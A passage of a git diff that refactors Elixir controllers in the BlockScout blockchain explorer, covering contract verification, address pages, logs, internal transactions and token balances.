- def check_and_verify(address_hash_string) do - if Chain.smart_contract_fully_verified?(address_hash_string) do - {:ok, :already_fully_verified} - else - if Application.get_env(:explorer, Explorer.ThirdPartyIntegrations.Sourcify)[:enabled] do - if Chain.smart_contract_verified?(address_hash_string) do - case Sourcify.check_by_address(address_hash_string) do - {:ok, _verified_status} -> - get_metadata_and_publish(address_hash_string, nil) - - _ -> - {:error, :not_verified} - end - else - case Sourcify.check_by_address_any(address_hash_string) do - {:ok, "full", metadata} -> - process_metadata_and_publish(address_hash_string, metadata, false) - - {:ok, "partial", metadata} -> - process_metadata_and_publish(address_hash_string, metadata, true) - - _ -> - {:error, :not_verified} - end - end - else - {:error, :sourcify_disabled} - end + PublishHelper.verify_and_publish(address_hash_string, files_array, conn, false) end end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_flattened_code_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_flattened_code_controller.ex index 632c05781452..72cd3aeb3bca 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_flattened_code_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_flattened_code_controller.ex @@ -2,12 +2,11 @@ defmodule BlockScoutWeb.AddressContractVerificationViaFlattenedCodeController do use BlockScoutWeb, :controller alias BlockScoutWeb.Controller - alias Explorer.Chain alias Explorer.Chain.SmartContract alias Explorer.SmartContract.{CompilerVersion, Solidity.CodeCompiler, Solidity.PublisherWorker} def new(conn, %{"address_id" => address_hash_string}) do - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do address_contract_path = conn |> address_contract_path(:index, address_hash_string) @@ -33,7 +32,7 @@ defmodule BlockScoutWeb.AddressContractVerificationViaFlattenedCodeController do render(conn, "new.html", changeset: changeset, compiler_versions: compiler_versions, - evm_versions: CodeCompiler.allowed_evm_versions(), + evm_versions: CodeCompiler.evm_versions(:solidity), address_hash: address_hash_string ) end @@ -50,11 +49,4 @@ defmodule BlockScoutWeb.AddressContractVerificationViaFlattenedCodeController do send_resp(conn, 204, "") end - - def parse_optimization_runs(%{"runs" => runs}) do - case Integer.parse(runs) do - {integer, ""} -> integer - _ -> 200 - end - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_json_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_json_controller.ex index 4b29a66f7bb5..b41ae1517fdc 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_json_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_json_controller.ex @@ -1,10 +1,9 @@ defmodule BlockScoutWeb.AddressContractVerificationViaJsonController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AddressContractVerificationController, as: VerificationController alias BlockScoutWeb.Controller - alias Explorer.Chain alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.Solidity.PublishHelper alias Explorer.ThirdPartyIntegrations.Sourcify def new(conn, %{"address_id" => address_hash_string}) do @@ -13,12 +12,12 @@ defmodule BlockScoutWeb.AddressContractVerificationViaJsonController do |> address_contract_path(:index, address_hash_string) |> Controller.full_path() - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do redirect(conn, to: address_contract_path) else case Sourcify.check_by_address(address_hash_string) do {:ok, _verified_status} -> - VerificationController.get_metadata_and_publish(address_hash_string, conn) + PublishHelper.get_metadata_and_publish(address_hash_string, conn) redirect(conn, to: address_contract_path) _ -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_multi_part_files_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_multi_part_files_controller.ex index cdc6d44b32be..78f6ea6b99c4 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_multi_part_files_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_multi_part_files_controller.ex @@ -2,12 +2,11 @@ defmodule BlockScoutWeb.AddressContractVerificationViaMultiPartFilesController d use BlockScoutWeb, :controller alias BlockScoutWeb.Controller - alias Explorer.Chain alias Explorer.Chain.SmartContract alias Explorer.SmartContract.{CompilerVersion, Solidity.CodeCompiler} def new(conn, %{"address_id" => address_hash_string}) do - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do address_contract_path = conn |> address_contract_path(:index, address_hash_string) @@ -33,7 +32,7 @@ defmodule BlockScoutWeb.AddressContractVerificationViaMultiPartFilesController d render(conn, "new.html", changeset: changeset, address_hash: address_hash_string, - evm_versions: CodeCompiler.allowed_evm_versions(), + evm_versions: CodeCompiler.evm_versions(:solidity), compiler_versions: compiler_versions ) end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_standard_json_input_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_standard_json_input_controller.ex index 1938269f79ef..37447acd8195 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_standard_json_input_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_via_standard_json_input_controller.ex @@ -2,12 +2,11 @@ defmodule BlockScoutWeb.AddressContractVerificationViaStandardJsonInputControlle use BlockScoutWeb, :controller alias BlockScoutWeb.Controller - alias Explorer.Chain alias Explorer.Chain.SmartContract alias Explorer.SmartContract.CompilerVersion def new(conn, %{"address_id" => address_hash_string}) do - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do address_contract_path = conn |> address_contract_path(:index, address_hash_string) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_vyper_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_vyper_controller.ex index ede3bc4b9384..6c978901cd0a 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_vyper_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_contract_verification_vyper_controller.ex @@ -2,12 +2,11 @@ defmodule BlockScoutWeb.AddressContractVerificationVyperController do use BlockScoutWeb, :controller alias BlockScoutWeb.Controller - alias Explorer.Chain alias Explorer.Chain.SmartContract alias Explorer.SmartContract.{CompilerVersion, Vyper.PublisherWorker} def new(conn, %{"address_id" => address_hash_string}) do - if Chain.smart_contract_fully_verified?(address_hash_string) do + if SmartContract.verified_with_full_match?(address_hash_string) do address_contract_path = conn |> address_contract_path(:index, address_hash_string) @@ -48,11 +47,4 @@ defmodule BlockScoutWeb.AddressContractVerificationVyperController do send_resp(conn, 204, "") end - - def parse_optimization_runs(%{"runs" => runs}) do - case Integer.parse(runs) do - {integer, ""} -> integer - _ -> 200 - end - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_controller.ex index 13cf9c20d238..c8ff8f208430 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_controller.ex @@ -1,27 +1,51 @@ defmodule BlockScoutWeb.AddressController do use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + alias BlockScoutWeb.{ - AccessHelpers, + AccessHelper, AddressTransactionController, AddressView, Controller } - alias Explorer.Counters.{AddressTokenTransfersCounter, AddressTransactionsCounter, AddressTransactionsGasUsageCounter} alias Explorer.{Chain, Market} - alias Explorer.Chain.Wei - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.Address.Counters + alias Explorer.Chain.Cache.Counters.AddressesCount + alias Explorer.Chain.{Address, Wei} + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.ContractCode, as: ContractCodeOnDemand alias Phoenix.View + case @chain_type do + :filecoin -> + @contract_address_preloads [ + :smart_contract, + [contract_creation_internal_transaction: :from_address], + [contract_creation_transaction: :from_address] + ] + + _ -> + @contract_address_preloads [ + :smart_contract, + :contract_creation_internal_transaction, + :contract_creation_transaction + ] + end + + @api_true [api?: true] + def index(conn, %{"type" => "JSON"} = params) do addresses = params |> paging_options() - |> Chain.list_top_addresses() + |> Address.list_top_addresses() {addresses_page, next_page} = split_list_by_page(addresses) @@ -38,7 +62,7 @@ defmodule BlockScoutWeb.AddressController do ) end - exchange_rate = Market.get_exchange_rate(Explorer.coin()) || Token.null() + exchange_rate = Market.get_coin_exchange_rate() total_supply = Chain.total_supply() items_count_str = Map.get(params, "items_count") @@ -54,7 +78,7 @@ defmodule BlockScoutWeb.AddressController do items = addresses_page |> Enum.with_index(1) - |> Enum.map(fn {{address, tx_count}, index} -> + |> Enum.map(fn {address, index} -> View.render_to_string( AddressView, "_tile.html", @@ -62,7 +86,7 @@ defmodule BlockScoutWeb.AddressController do index: items_count + index, exchange_rate: exchange_rate, total_supply: total_supply, - tx_count: tx_count + transaction_count: address.transactions_count ) end) @@ -80,7 +104,7 @@ defmodule BlockScoutWeb.AddressController do render(conn, "index.html", current_path: Controller.current_full_path(conn), - address_count: Chain.address_estimated_count(), + address_count: AddressesCount.fetch(), total_supply: total_supply ) end @@ -90,18 +114,26 @@ defmodule BlockScoutWeb.AddressController do end def show(conn, %{"id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + fully_preloaded_address = + Address.maybe_preload_smart_contract_associations(address, @contract_address_preloads, @api_true) + + ContractCodeOnDemand.trigger_fetch(ip, fully_preloaded_address) + render( conn, "_show_address_transactions.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), filter: params["filter"], counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), - current_path: Controller.current_full_path(conn) + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) ) else :error -> @@ -122,15 +154,18 @@ defmodule BlockScoutWeb.AddressController do case Chain.Hash.Address.validate(address_hash_string) do {:ok, _} -> + ContractCodeOnDemand.trigger_fetch(ip, address) + render( conn, "_show_address_transactions.html", address: address, - coin_balance_status: nil, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), filter: params["filter"], counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), - current_path: Controller.current_full_path(conn) + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) ) _ -> @@ -142,7 +177,7 @@ defmodule BlockScoutWeb.AddressController do def address_counters(conn, %{"id" => address_hash_string}) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash) do - {validation_count} = address_counters(address) + {validation_count} = Counters.address_counters(address) transactions_from_db = address.transactions_count || 0 token_transfers_from_db = address.token_transfers_count || 0 @@ -164,57 +199,4 @@ defmodule BlockScoutWeb.AddressController do }) end end - - defp address_counters(address) do - validation_count_task = - Task.async(fn -> - validation_count(address) - end) - - Task.start_link(fn -> - transaction_count(address) - end) - - Task.start_link(fn -> - token_transfers_count(address) - end) - - Task.start_link(fn -> - gas_usage_count(address) - end) - - [ - validation_count_task - ] - |> Task.yield_many(:infinity) - |> Enum.map(fn {_task, res} -> - case res do - {:ok, result} -> - result - - {:exit, reason} -> - raise "Query fetching address counters terminated: #{inspect(reason)}" - - nil -> - raise "Query fetching address counters timed out." - end - end) - |> List.to_tuple() - end - - def transaction_count(address) do - AddressTransactionsCounter.fetch(address) - end - - def token_transfers_count(address) do - AddressTokenTransfersCounter.fetch(address) - end - - def gas_usage_count(address) do - AddressTransactionsGasUsageCounter.fetch(address) - end - - defp validation_count(address) do - Chain.address_to_validation_count(address.hash) - end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_decompiled_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_decompiled_contract_controller.ex deleted file mode 100644 index 079d5d9093ce..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_decompiled_contract_controller.ex +++ /dev/null @@ -1,32 +0,0 @@ -defmodule BlockScoutWeb.AddressDecompiledContractController do - use BlockScoutWeb, :controller - - alias BlockScoutWeb.AccessHelpers - alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand - - def index(conn, %{"address_id" => address_hash_string} = params) do - with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.find_decompiled_contract_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do - render( - conn, - "index.html", - address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}) - ) - else - {:restricted_access, _} -> - not_found(conn) - - :error -> - not_found(conn) - - {:error, :not_found} -> - not_found(conn) - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_internal_transaction_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_internal_transaction_controller.ex index a72ba8e25649..dd029269f00b 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_internal_transaction_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_internal_transaction_controller.ex @@ -5,20 +5,21 @@ defmodule BlockScoutWeb.AddressInternalTransactionController do use BlockScoutWeb, :controller + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] import BlockScoutWeb.Chain, only: [current_filter: 1, paging_options: 1, next_page_params: 3, split_list_by_page: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] - alias BlockScoutWeb.{AccessHelpers, Controller, InternalTransactionView} + alias BlockScoutWeb.{AccessHelper, Controller, InternalTransactionView} alias Explorer.{Chain, Market} - alias Explorer.Chain.{Address, Wei} - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.{Address, InternalTransaction, Wei} + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- - Chain.hash_to_address(address_hash, [necessity_by_association: %{:smart_contract => :optional}], false), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + Chain.hash_to_address(address_hash, necessity_by_association: %{:smart_contract => :optional}), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do full_options = [ necessity_by_association: %{ @@ -33,7 +34,7 @@ defmodule BlockScoutWeb.AddressInternalTransactionController do |> Keyword.merge(paging_options(params)) |> Keyword.merge(current_filter(params)) - internal_transactions_plus_one = Chain.address_to_internal_transactions(address_hash, full_options) + internal_transactions_plus_one = InternalTransaction.address_to_internal_transactions(address_hash, full_options) {internal_transactions, next_page} = split_list_by_page(internal_transactions_plus_one) next_page_path = @@ -75,18 +76,21 @@ defmodule BlockScoutWeb.AddressInternalTransactionController do end def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), current_path: Controller.current_full_path(conn), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + exchange_rate: Market.get_coin_exchange_rate(), filter: params["filter"], - counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}) + counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), + tags: get_address_tags(address_hash, current_user(conn)) ) else {:restricted_access, _} -> @@ -109,10 +113,11 @@ defmodule BlockScoutWeb.AddressInternalTransactionController do "index.html", address: address, filter: params["filter"], - coin_balance_status: nil, - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), - current_path: Controller.current_full_path(conn) + current_path: Controller.current_full_path(conn), + tags: get_address_tags(address_hash, current_user(conn)) ) _ -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_logs_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_logs_controller.ex index bcb138ca08b9..3e5a9a666ef3 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_logs_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_logs_controller.ex @@ -3,21 +3,36 @@ defmodule BlockScoutWeb.AddressLogsController do Manages events logs tab. """ + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Chain, only: [paging_options: 1, next_page_params: 3, split_list_by_page: 1] - alias BlockScoutWeb.{AccessHelpers, AddressLogsView, Controller} + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, AddressLogsView, Controller} alias Explorer.{Chain, Market} - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Chain.Address + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View use BlockScoutWeb, :controller def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - :ok <- Chain.check_address_exists(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do - logs_plus_one = Chain.address_to_logs(address_hash, paging_options(params)) + :ok <- Address.check_address_exists(address_hash), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + options = + params + |> paging_options() + |> Keyword.merge( + necessity_by_association: %{ + [address: [:smart_contract, Implementation.proxy_implementations_smart_contracts_association()]] => + :optional + } + ) + + logs_plus_one = Chain.address_to_logs(address_hash, false, options) {results, next_page} = split_list_by_page(logs_plus_one) next_page_url = @@ -54,17 +69,20 @@ defmodule BlockScoutWeb.AddressLogsController do end def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), {:ok, address} <- Chain.hash_to_address(address_hash), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, current_path: Controller.current_full_path(conn), - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}) + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => address_hash_string}), + tags: get_address_tags(address_hash, current_user(conn)) ) else _ -> @@ -74,12 +92,23 @@ defmodule BlockScoutWeb.AddressLogsController do def search_logs(conn, %{"topic" => topic, "address_id" => address_hash_string} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - :ok <- Chain.check_address_exists(address_hash) do + :ok <- Address.check_address_exists(address_hash) do topic = String.trim(topic) formatted_topic = if String.starts_with?(topic, "0x"), do: topic, else: "0x" <> topic - logs_plus_one = Chain.address_to_logs(address_hash, topic: formatted_topic) + options = + params + |> paging_options() + |> Keyword.merge( + necessity_by_association: %{ + [address: [:smart_contract, Implementation.proxy_implementations_smart_contracts_association()]] => + :optional + } + ) + |> Keyword.merge(topic: formatted_topic) + + logs_plus_one = Chain.address_to_logs(address_hash, false, options) {results, next_page} = split_list_by_page(logs_plus_one) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_read_contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_read_contract_controller.ex index 4734b8f0f343..1211cf9b6682 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_read_contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_read_contract_controller.ex @@ -8,40 +8,86 @@ defmodule BlockScoutWeb.AddressReadContractController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.AddressView alias Explorer.{Chain, Market} alias Explorer.Chain.Address - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.SmartContract.Reader + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + address_options = [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, :smart_contract => :optional, :token => :optional, - :contracts_creation_transaction => :optional - } + Address.contract_creation_transaction_associations() => :optional + }, + ip: ip + ] + + custom_abi = AddressView.fetch_custom_abi(conn, address_hash_string) + custom_abi? = AddressView.check_custom_abi_for_having_read_functions(custom_abi) + + need_wallet_custom_abi? = + !is_nil(custom_abi) && Reader.read_functions_required_wallet_from_abi(custom_abi.abi) != [] + + base_params = [ + type: :regular, + action: :read, + custom_abi: custom_abi?, + exchange_rate: Market.get_coin_exchange_rate() ] with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.find_contract_address(address_hash, address_options, true), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), false <- is_nil(address.smart_contract), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + need_wallet? <- Reader.read_functions_required_wallet_from_abi(address.smart_contract.abi) != [], + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", - address: address, - type: :regular, - action: :read, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + base_params ++ + [ + address: address, + non_custom_abi: true, + need_wallet: need_wallet? || need_wallet_custom_abi?, + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) + ] ) else _ -> - not_found(conn) + if custom_abi? do + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do + render( + conn, + "index.html", + base_params ++ + [ + address: address, + non_custom_abi: false, + need_wallet: need_wallet_custom_abi?, + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) + ] + ) + else + _ -> + not_found(conn) + end + else + not_found(conn) + end end end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_read_proxy_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_read_proxy_controller.ex index 7ed05ef4b42c..81381240eefd 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_read_proxy_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_read_proxy_controller.ex @@ -2,36 +2,41 @@ defmodule BlockScoutWeb.AddressReadProxyController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.AccessHelper alias Explorer.{Chain, Market} alias Explorer.Chain.Address - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + address_options = [ necessity_by_association: %{ - :contracts_creation_internal_transaction => :optional, :names => :optional, :smart_contract => :optional, :token => :optional, - :contracts_creation_transaction => :optional - } + Address.contract_creation_transaction_associations() => :optional + }, + ip: ip ] with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.find_contract_address(address_hash, address_options, true), + {:ok, address} <- Chain.find_contract_address(address_hash, address_options), false <- is_nil(address.smart_contract), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do render( conn, "index.html", address: address, type: :proxy, action: :read, - coin_balance_status: CoinBalanceOnDemand.trigger_fetch(address), - exchange_rate: Market.get_exchange_rate(Explorer.coin()) || Token.null(), - counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}) + coin_balance_status: CoinBalanceOnDemand.trigger_fetch(ip, address), + exchange_rate: Market.get_coin_exchange_rate(), + counters_path: address_path(conn, :address_counters, %{"id" => Address.checksum(address_hash)}), + tags: get_address_tags(address_hash, current_user(conn)) ) else _ -> diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_token_balance_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_token_balance_controller.ex index 9c7ab89d22a6..34a8a9f2dea2 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_token_balance_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_token_balance_controller.ex @@ -1,34 +1,26 @@ defmodule BlockScoutWeb.AddressTokenBalanceController do use BlockScoutWeb, :controller - alias BlockScoutWeb.AccessHelpers - alias Explorer.{Chain, Market} + alias BlockScoutWeb.AccessHelper + alias Explorer.Chain alias Explorer.Chain.Address - alias Indexer.Fetcher.TokenBalanceOnDemand + alias Indexer.Fetcher.OnDemand.TokenBalance, as: TokenBalanceOnDemand def index(conn, %{"address_id" => address_hash_string} = params) do + ip = AccessHelper.conn_to_ip_string(conn) + with true <- ajax?(conn), {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string) do - token_balances = - address_hash - |> Chain.fetch_last_token_balances() - - Task.start_link(fn -> - TokenBalanceOnDemand.trigger_fetch(address_hash, token_balances) - end) - - token_balances_with_price = - token_balances - |> Market.add_price() + TokenBalanceOnDemand.trigger_fetch(ip, address_hash) - case AccessHelpers.restricted_access?(address_hash_string, params) do + case AccessHelper.restricted_access?(address_hash_string, params) do {:ok, false} -> conn |> put_status(200) |> put_layout(false) |> render("_token_balances.html", address_hash: Address.checksum(address_hash), - token_balances: token_balances_with_price, + token_balances: Chain.fetch_last_token_balances(address_hash), conn: conn ) diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/address_token_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/address_token_controller.ex index 99b29f40827c..6c6ad85901de 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/address_token_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/address_token_controller.ex @@ -1,28 +1,30 @@ defmodule BlockScoutWeb.AddressTokenController do use BlockScoutWeb, :controller - import BlockScoutWeb.Chain, only: [next_page_params: 3, paging_options: 1, split_list_by_page: 1] + import BlockScoutWeb.Chain, + only: [next_page_params: 4, paging_options: 1, split_list_by_page: 1, paging_params_with_fiat_value: 1] - alias BlockScoutWeb.{AccessHelpers, AddressTokenView, Controller} + import BlockScoutWeb.Account.AuthController, only: [current_user: 1] + import BlockScoutWeb.Models.GetAddressTags, only: [get_address_tags: 2] + + alias BlockScoutWeb.{AccessHelper, AddressTokenView, Controller} alias Explorer.{Chain, Market} alias Explorer.Chain.Address - alias Explorer.ExchangeRates.Token - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand alias Phoenix.View def index(conn, %{"address_id" => address_hash_string, "type" => "JSON"} = params) do with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), - {:ok, address} <- Chain.hash_to_address(address_hash, [], false), - {:ok, false} <- AccessHelpers.restricted_access?(address_hash_string, params) do + {:ok, address} <- Chain.hash_to_address(address_hash, []), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params) do token_balances_plus_one = address_hash - |> Chain.fetch_last_token_balances(paging_options(params)) - |> Market.add_price() + |> Chain.fetch_paginated_last_token_balances(paging_options(params)) {tokens, next_page} = split_list_by_page(token_balances_plus_one) next_page_path = - case next_page_params(next_page, tokens, params) do + case next_page_params(next_page, 